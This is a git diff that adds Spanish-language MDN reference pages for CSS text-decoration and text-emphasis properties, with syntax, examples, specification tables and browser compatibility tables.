+<p><a name="nested_statements">Existe otro grupo de declaraciones: las <strong>declaraciones anidadas</strong>. Estass son declaraciones que pueden ser usadas en un subset específico de reglas at (las <em>reglas de grupo condicionales</em>). Estas declaraciones sólo aplican si una condición específica se cumple: el contenido de la regla at <code>@media</code> se aplica sóllo si el dispositivo en el que el navegaddor se encuentra corriendo cumple dadas condiciones; el contenido de la regla at <code>@document</code> se aplica sólo si la página actual cumple dadas condiciones, y así. En CSS1 y CSS2.1, sólo los sets de reglas pueden ser usados dentro de reglas de grupo condicionales. Esto era muy restrictivo y se dejó de aplicar en </a><a href="/en/CSS/CSS3#Conditionals" title="en/CSS/CSS3#Conditionals"><em>CSS Conditionals Level 3</em></a>. Actualmente, aunque sigue siendo experimental y no es soportado por todos los navegadores, las reglas de grupo condicional pueden contener varios sets de reglas, e incluso, aunque no todas, reglas at.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{ CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/es/web/css/text-decoration-color/index.html b/files/es/web/css/text-decoration-color/index.html
new file mode 100644
index 0000000000..1310ee9c30
--- /dev/null
+++ b/files/es/web/css/text-decoration-color/index.html
@@ -0,0 +1,148 @@
+---
+title: text-decoration-color
+slug: Web/CSS/text-decoration-color
+tags:
+  - Propiedad CSS
+  - Referencia
+  - Texto CSS
+translation_of: Web/CSS/text-decoration-color
+---
+<div>{{ CSSRef }}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <strong><code>text-decoration-color</code></strong> establece el color usado cuando se dibujan subrayados o líneas a través del texto, especificadas por la propiedad {{ cssxref("text-decoration-line") }}. El color especificado será el mismo para los tres tipos de línea.</p>
+
+<p>CSS no provee un mecanismo directo para especificar un color único para cada tipo de línea. Sin embargo, se puede obtener un efecto similar anidando elementos HTML, aplicando diferente tipo de línea para cada uno (via la propiedad <code>text-decoration-line</code>), y especificando un color de línea (usando <code>text-decoration-color</code>) propio para cada elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* valores &lt;color&gt; */
+text-decoration-color: currentColor;
+text-decoration-color: red;
+text-decoration-color: #00ff00;
+text-decoration-color: rgba(255, 128, 128, 0.5);
+text-decoration-color: transparent;
+
+/* Valores globales */
+text-decoration-color: inherit;
+text-decoration-color: initial;
+text-decoration-color: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>La propiedad <code>color</code> acepta varlos nombres clave y notaciones numéricas. Vea {{cssxref("&lt;color&gt;")}} para más detalles.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css; highlight:[3]">.example {
+    text-decoration: underline;
+    text-decoration-color: red;
+}
+</pre>
+
+<p>El ejemplo anterior tiene el mismo efecto que el código siguiente, que además añade un estilo para cuando el elemento tiene el puntero del mouse encima.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;style&gt;
+.example {
+  font-size: 24px;
+  text-decoration: underline;
+  color: red;
+}
+.example:hover {
+  color: blue;
+  text-decoration: line-through;
+}
+&lt;/style&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;span class="example"&gt;
+  &lt;span style="color:black;"&gt;texto negro con subrayado rojo, y azul con el cursor encima&lt;/span&gt;
+&lt;/span&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Text Decoration', '#text-decoration-color-property', 'text-decoration-color') }}</td>
+   <td>{{ Spec2('CSS3 Text Decoration') }}</td>
+   <td>Definición inicial. La propiedad {{cssxref("text-decoration")}} no era una forma reducida anteriormente</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatGeckoDesktop("6.0") }} - {{ CompatGeckoDesktop("39.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("36.0") }} without prefix</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>7.1 {{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }} - {{ CompatGeckoMobile("39.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("36.0") }} without prefix</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>8 {{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/text-decoration-line/index.html b/files/es/web/css/text-decoration-line/index.html
new file mode 100644
index 0000000000..6fcbbc2d7c
--- /dev/null
+++ b/files/es/web/css/text-decoration-line/index.html
@@ -0,0 +1,100 @@
+---
+title: text-decoration-line
+slug: Web/CSS/text-decoration-line
+tags:
+  - Propiedad CSS
+  - Texto CSS
+translation_of: Web/CSS/text-decoration-line
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/es/docs/CSS">CSS</a> <strong><code>text-decoration-line</code></strong> establece el tipo de decoración de línea que se agregará a un elemento.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-decoration-line.html")}}</div>
+
+<p>When setting multiple line-decoration properties at once, it may be more convenient to use the {{cssxref("text-decoration")}} shorthand property instead.</p>
+
+<p>La decoración <em>underline</em> posiciona el subrayado debajo del texto, la decoración <em>overline</em> posiciona el subrayado encima del texto, y la decoración <em>line-through</em> posiciona la línea en medio del texto.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Valores de clave */
+text-decoration-line: none;
+text-decoration-line: underline;
+text-decoration-line: overline;
+text-decoration-line: line-through;
+text-decoration-line: underline overline;                /* Dos líneas de decoración */
+text-decoration-line: overline underline line-through;   /* Múltiples líneas de decoración */
+
+/* Valores globales */
+text-decoration-line: inherit;
+text-decoration-line: initial;
+text-decoration-line: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p><strong><code>none</code></strong></p>
+
+<dl>
+ <dd>No agrega decoración al texto.</dd>
+ <dt><code>underline</code></dt>
+ <dd>Cada línea del texto lleva subrayado inferior.</dd>
+ <dt><code>overline</code></dt>
+ <dd>Cada línea del texto lleva subrayado superior.</dd>
+ <dt><code>line-through</code></dt>
+ <dd>Cada línea del texto lleva una línea atravesando por en medio del mismo.</dd>
+ <dt><code>blink {{deprecated_inline}}</code></dt>
+ <dd>El texto parpadea (se alterna entre visible e invisible). Según los ajustes del agente usuario, el texto puede simplemente no parpadear. Este valor está en <strong>desuso</strong>, en favor de las <a href="/es/docs/Web/CSS/animation">Animaciones</a>.</dd>
+ <dt><code>-moz-anchor-decoration </code>{{non-standard_inline}}</dt>
+ <dd>El texto es decorado con el estilo de un ancla; no adecuado para contenido web.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;¡Aquí hay texto con subrayado inferior rojo ondulado!&lt;/p&gt;</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">p {
+  text-decoration-line: underline;
+  text-decoration-style: wavy;
+  text-decoration-color: red;
+}</pre>
+
+<p>{{EmbedLiveSample('example', 300, 50)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-decoration-line', 'text-decoration-line')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Definición inicial. La propiedad {{cssxref("text-decoration")}} no era una forma reducida anteriormente.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{Compat("css.properties.text-decoration-line")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>When setting multiple line-decoration properties at once, it may be more convenient to use the {{cssxref("text-decoration")}} shorthand property instead.</li>
+</ul>
diff --git a/files/es/web/css/text-decoration-style/index.html b/files/es/web/css/text-decoration-style/index.html
new file mode 100644
index 0000000000..d698913b8f
--- /dev/null
+++ b/files/es/web/css/text-decoration-style/index.html
@@ -0,0 +1,200 @@
+---
+title: text-decoration-style
+slug: Web/CSS/text-decoration-style
+tags:
+  - Propiedad CSS
+  - Texto CSS
+translation_of: Web/CSS/text-decoration-style
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>text-decoration-style</code></strong> define el estilo de las líneas especificadas por {{ cssxref("text-decoration-line") }}. El estilo aplica a todas las líneas, no hay manera de establecer diferentes estilos para cada línea definida por <code>text-decoration-line</code>.</p>
+
+<p>Si la decoración especificada tiene un significado semántico propio, como <em>line-through</em>, que significa que el texto ha sido removido, se recomienda a los autores denotar este significado usando una etiqueta HTML, como {{ HTMLElement("del") }} o {{ HTMLElement("s") }}. Siendo que los navegadores pueden deshabilitar estilos en algunos casos, el significado semántico no desaparecerá en dicha situación.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* Valores clave */
+text-decoration-style: solid;
+text-decoration-style: double;
+text-decoration-style: dotted;
+text-decoration-style: dashed;
+text-decoration-style: wavy;
+
+/* Valores globales */
+text-decoration-style: inherit;
+text-decoration-style: initial;
+text-decoration-style: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>solid double dotted dashed wavy</code></dt>
+ <dd>Es una de las siguientes palabras clave:
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Palabra clave</th>
+    <th scope="col">Descripción</th>
+    <th scope="col">Comentario</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <td><code>solid</code></td>
+    <td>Dibuja una línea simple</td>
+    <td> </td>
+   </tr>
+   <tr>
+    <td><code>double</code></td>
+    <td>Dibuja una línea doble</td>
+    <td> </td>
+   </tr>
+   <tr>
+    <td><code>dotted</code></td>
+    <td>Dibuja una línea punteada</td>
+    <td> </td>
+   </tr>
+   <tr>
+    <td><code>dashed</code></td>
+    <td>Dibuja una línea discontinua</td>
+    <td> </td>
+   </tr>
+   <tr>
+    <td><code>wavy</code></td>
+    <td>Dibuja una línea ondulada</td>
+    <td> </td>
+   </tr>
+   <tr>
+    <td><code>-moz-none</code>{{ non-standard_inline }}<code> </code></td>
+    <td>No dibuja una línea</td>
+    <td><strong>No usarse:</strong> usar {{ cssxref("text-decoration-line") }}<code>: none</code> en su lugar</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>Es una palabra clave que indica que se reutilice el valor calculado del elemento padre.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css" style="display: none;">.example {
+       -moz-text-decoration-line: underline;
+       -moz-text-decoration-style: wavy;
+       -moz-text-decoration-color: red;
+    -webkit-text-decoration-line: underline;
+    -webkit-text-decoration-style: wavy;
+    -webkit-text-decoration-color: red;
+}</pre>
+
+<pre class="brush: css">.example {
+    text-decoration-line: underline;
+    text-decoration-style: wavy;
+    text-decoration-color: red;
+}
+</pre>
+
+<pre class="brush: html">&lt;p class="example"&gt;Así se ve el resultado.&lt;/p&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Ejemplos', '', '', '') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Text Decoration', '#text-decoration-style', 'text-decoration-style') }}</td>
+   <td>{{ Spec2('CSS3 Text Decoration') }}</td>
+   <td>Definición inicial. La propiedad {{cssxref("text-decoration")}} no era una forma reducida anteriormente.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatGeckoDesktop("6.0") }} - {{CompatGeckoDesktop("39.0")}}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("36.0") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+  <tr>
+   <td>wavy</td>
+   <td>{{ CompatGeckoDesktop("6.0") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}- {{CompatGeckoMobile("39.0")}}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("36.0") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+  <tr>
+   <td>wavy</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatGeckoMobile("6.0") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/text-decoration/index.html b/files/es/web/css/text-decoration/index.html
new file mode 100644
index 0000000000..7a3675657b
--- /dev/null
+++ b/files/es/web/css/text-decoration/index.html
@@ -0,0 +1,202 @@
+---
+title: text-decoration
+slug: Web/CSS/text-decoration
+tags:
+  - Propiedad CSS
+  - Texto CSS
+translation_of: Web/CSS/text-decoration
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad CSS <strong><code>text-decoration</code></strong> se usa para establecer el formato de texto a subrayado (<code>underline</code>) y suprarrayado (<code>overline</code>), tachado (<code>line-through</code>) o parpadeo (<code>blink</code>). El subrayado y el suprarrayado son posicionados bajo el texto, mientras la línea a través de éste se posiciona por encima.</p>
+
+<p>Las decoraciones de texto se dibujan a través de los elementos descendientes. Esto significa que no es posible deshabilitar la decoración en un descendiente si la propiedad se especifica en un elemento ancestro. Por ejemplo, en el código <code>&lt;p&gt;Este texto tiene &lt;em&gt;algunas palabras enfatizadas&lt;/em&gt; en él.&lt;/p&gt;</code>, la regla de estilos <code>p { text-decoration: underline; }</code> causará que el párrafo entero tenga subrayado. La regla <code>em { text-decoration: none; }</code> no causará ningún cambio; el párrafo entero seguirá subrayado. Sin embargo, la regla <code>em { text-decoration: overline; }</code> causará una segunda decoración que aparecerá sobre "algunas palabras enfatizadas".</p>
+
+<div class="note style-wrap">
+<p><strong>Nota: </strong>El Nivel 3 de Decoraciones de Texto transformó esta propiedad en la forma reducida de las tres propiedades nuevas {{cssxref("text-decoration-color")}}, {{cssxref("text-decoration-line")}}, y {{cssxref("text-decoration-style")}}. Como en cualquier otra propiedad reducida, esto significa que restaura sus valores a los predeterminados si no son definidos explícitamente en la propiedad.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* Valores clave */
+text-decoration: none;                 /* Sin decoración */
+text-decoration: underline red;        /* Subrayado rojo */
+text-decoration: underline wavy red;   /* Subrayado rojo ondulado */
+
+/* Valores globales */
+text-decoration: inherit;
+text-decoration: initial;
+text-decoration: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>La propiedad <code>text-decoration</code> es una forma reducida, y puede usar los valores de cada una de las propiedades de la forma larga: {{cssxref("text-decoration-line")}}, {{cssxref("text-decoration-color")}}, y {{cssxref("text-decoration-style")}}</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">h1.under {
+    text-decoration: underline;
+}
+h1.over {
+    text-decoration: overline;
+}
+p.line {
+    text-decoration: line-through;
+}
+p.blink {
+    text-decoration: blink;
+}
+a.none {
+    text-decoration: none;
+}
+p.underover {
+    text-decoration: underline overline;
+}
+</pre>
+
+<pre class="brush: html" style="display: none;">&lt;h1 class="under"&gt;Underlined Header&lt;/h1&gt;
+&lt;p class="line"&gt;If you want to strike out text, use line-through.&lt;/p&gt;
+&lt;p class="blink"&gt;This text might blink for you - if you use Explorer, it will not.&lt;/p&gt;
+&lt;h1 class="over"&gt;and now an overlined header.&lt;/h1&gt;
+&lt;p&gt;This &lt;a class="none" href="textdecoration.html"&gt;link will not be underlined&lt;/a&gt;, as most links are by default. Be careful with removing the text decoration on links since most users depend on the underline to signify a hyperlink.&lt;/p&gt;
+&lt;p class="underover"&gt;This text has both underline and overline.&lt;/p&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Examples','100%','310')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-decoration-property', 'text-decoration')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>
+    <p>Transformada a propiedad reducida. Soporte agregado para el valor de {{cssxref('text-decoration-style')}}.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#lining-striking-props', 'text-decoration')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Sin cambios significativos</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#text-decoration', 'text-decoration')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>1.0</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>valor <code>blink</code></td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatGeckoDesktop("23.0")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>4.0<br>
+    15.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Propiedad reducida</td>
+   <td>{{CompatGeckoDesktop("6.0")}}<sup>[3]</sup><br>
+    {{CompatGeckoDesktop("36.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>7.1<sup>[2]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>valor <code>blink</code></td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatGeckoDesktop("23.0")}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>4.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Propiedad reducida</td>
+   <td>{{CompatGeckoMobile("6.0")}}<sup>[3]</sup><br>
+    {{CompatGeckoMobile("36.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] El valor <code>blink</code> no tiene ningún efecto.</p>
+
+<p>[2] Safari no soporta {{cssxref("text-decoration-style")}}.</p>
+
+<p>[3] Esta versión de Gecko tiene una implementación parcial.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>El atributo {{cssxref("list-style")}} controla la apariencia de los items en listas {{HTMLElement("ol")}} y {{HTMLElement("ul")}} de HTML.</li>
+</ul>
diff --git a/files/es/web/css/text-emphasis-color/index.html b/files/es/web/css/text-emphasis-color/index.html
new file mode 100644
index 0000000000..10c814748e
--- /dev/null
+++ b/files/es/web/css/text-emphasis-color/index.html
@@ -0,0 +1,103 @@
+---
+title: text-emphasis-color
+slug: Web/CSS/text-emphasis-color
+tags:
+  - CSS
+  - Colores HTML
+  - Decoración de Texto CSS
+  - Estilizando HTML
+  - Estilos CSS
+  - Propiedad CSS
+  - Referencia
+  - text-decoration-color
+  - Énfasis de Texto
+translation_of: Web/CSS/text-emphasis-color
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">La propiedad <a href="/es/docs/Web/CSS">CSS</a> <strong><code>text-emphasis-color</code></strong> (que podría traducirse como color del texto con énfasis) define el color de las marcas de énfasis. Este valor también puede definirse usando el atajo {{cssxref("text-emphasis")}}</span></p>
+
+<pre class="brush:css no-line-numbers">/* Valor inicial*/
+text-emphasis-color: currentColor;
+
+/* &lt;color&gt;  */
+text-emphasis-color: #555;
+text-emphasis-color: blue;
+text-emphasis-color: rgba(90, 200, 160, 0.8);
+text-emphasis-color: transparent;
+
+/* Valores globales */
+text-emphasis-color: inherit;
+text-emphasis-color: initial;
+text-emphasis-color: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Define el color de las marcas de énfasis. Si ningún color es declarado, el color por defecto es <code>currentColor</code> (color actual).</dd>
+</dl>
+
+<h3 id="Sintáxis_Formal">Sintáxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">h3 {
+  text-emphasis-color: #555;
+  text-emphasis-style: "*";
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Este es un ejemplo:&lt;/p&gt;
+
+&lt;h3&gt;Esto está marcado con énfasis!&lt;/h3&gt;
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Examples", 450, 100)}}Ejemplo incrustado en vivo</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text Decoration', '#text-emphasis-color-property', 'text-emphasis')}}</td>
+   <td>{{Spec2('CSS3 Text Decoration')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.text-emphasis-color")}}</p>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li>El tipo de dato {{cssxref("&lt;color&gt;")}}.</li>
+ <li>Las otras propiedades de marcas de énfasis relacioanadas: {{cssxref('text-emphasis-style')}}, {{cssxref('text-emphasis')}}, y {{cssxref("text-emphasis-position")}}.</li>
+ <li>Otras propiedades relacionadas al color: {{cssxref("color")}}, {{cssxref("background-color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}}, y {{cssxref("column-rule-color")}}</li>
+ <li><a href="/es/docs/Web/HTML/Aplicar_Color">Aplicando color a los elementos HTML utilizando CSS.</a></li>
+</ul>
diff --git a/files/es/web/css/text-emphasis/index.html b/files/es/web/css/text-emphasis/index.html
new file mode 100644
index 0000000000..94979eb8af
--- /dev/null
+++ b/files/es/web/css/text-emphasis/index.html
@@ -0,0 +1,178 @@
+---
+title: text-emphasis
+slug: Web/CSS/text-emphasis
+translation_of: Web/CSS/text-emphasis
+---
+<div>
+<p>La <strong>propiedad</strong> <strong><a href="https://developer.mozilla.org/es/docs/Web/CSS">CSS</a></strong>  de <strong>text-emphasis</strong>, es una propiedad <em>abreviada</em> para establecer los valores de <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/text-emphasis-style">text-empahasis-style</a> y <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/text-emphasis-color">text-emphasis-color</a>, en una sola declaración.</p>
+
+<p>Esta <strong>propiedad</strong> aplicara el  énfasis a cada carácter especificado en el texto del elemento,  a excepción de caracteres separados como espacios y caracteres de control .</p>
+</div>
+
+<pre class="brush:css no-line-numbers">/* Valor Inicial */
+text-emphasis: none; /* No emphasis marks */
+
+/* &lt;string&gt; valor */
+text-emphasis: 'x';
+text-emphasis: '点';
+text-emphasis: '\25B2';
+text-emphasis: '*' #555;
+text-emphasis: 'foo'; /* Should NOT use. It may be computed to or rendered as 'f' only */
+
+/* Valor de la Palabra Clave */
+text-emphasis: filled;
+text-emphasis: open;
+text-emphasis: filled sesame;
+text-emphasis: open sesame;
+
+/* Valor de la Palabra clave combinada con un color */
+text-emphasis: filled sesame #555;
+
+/* Valores Globales */
+text-emphasis: inherit;
+text-emphasis: initial;
+text-emphasis: unset;
+</pre>
+
+<p>La propiedad <strong>text-emphasis</strong> es diferente a la propiedad <a href="https://developer.mozilla.org/es/docs/Web/CSS/text-decoration">text-decoration</a>.</p>
+
+<p><a href="https://developer.mozilla.org/es/docs/Web/CSS/text-decoration">Text-decoration</a> no hereda y la decoración se aplica atreves de todo el elemento. Sin embargo, la propiedad <strong>test-emphasis</strong> si hereda, lo que significa que es posible cambiar el <strong>énfasis</strong> para los descendientes.</p>
+
+<p>The size of the emphasis symbol, like ruby symbols, is about 50% of the size of the font, and <code>text-emphasis</code> may affect line height when the current leading is not enough for the marks.</p>
+
+<div class="note">
+<p><code>text-emphasis</code> doesn't reset the value of {{cssxref("text-emphasis-position")}}. This is because if the style and the color of emphasis marks may vary in a text, it is extremely unlikely that their position will. In the very rare cases when this is needed, the property {{cssxref("text-emphasis-position")}}.</p>
+</div>
+
